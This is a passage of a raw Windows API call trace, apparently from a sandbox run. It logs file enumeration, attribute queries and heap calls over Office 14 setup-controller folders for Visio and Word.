ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0054.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0054.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e82e0 [0054.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ea658 [0054.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.056] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0054.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8300 [0054.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ea760 [0054.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.057] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0054.057] GetLastError () returned 0x12 [0054.057] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0054.057] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0054.057] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.057] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0054.057] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0054.057] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0054.057] GetLastError () returned 0x12 [0054.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0054.057] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0054.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0054.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0054.057] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0054.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0054.057] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0054.058] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0054.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0054.058] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0054.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0054.058] NtClose (Handle=0x164) returned 0x0 [0054.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0054.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0054.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0054.058] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0054.058] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.058] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0054.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0054.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8320 [0054.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ea868 [0054.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.059] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0054.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8340 [0054.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ea970 [0054.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x580) returned 0x9eb1c0 [0054.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eac78) returned 1 [0054.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.059] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0054.059] GetLastError () returned 0x12 [0054.059] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0054.059] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0054.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0054.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0054.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0054.059] GetLastError () returned 0x12 [0054.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0054.060] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0054.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0054.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0054.060] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 1 [0054.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0054.060] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0054.099] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0054.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0054.099] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0054.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0054.099] NtClose (Handle=0x168) returned 0x0 [0054.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0054.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0054.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0054.100] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0054.100] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.100] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0054.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0054.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8360 [0054.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eaa78 [0054.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.100] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0054.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8380 [0054.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ee990 [0054.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.101] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0054.101] GetLastError () returned 0x12 [0054.101] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0054.101] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0054.101] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.101] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0054.101] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0054.101] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0054.101] GetLastError () returned 0x12 [0054.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0054.101] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 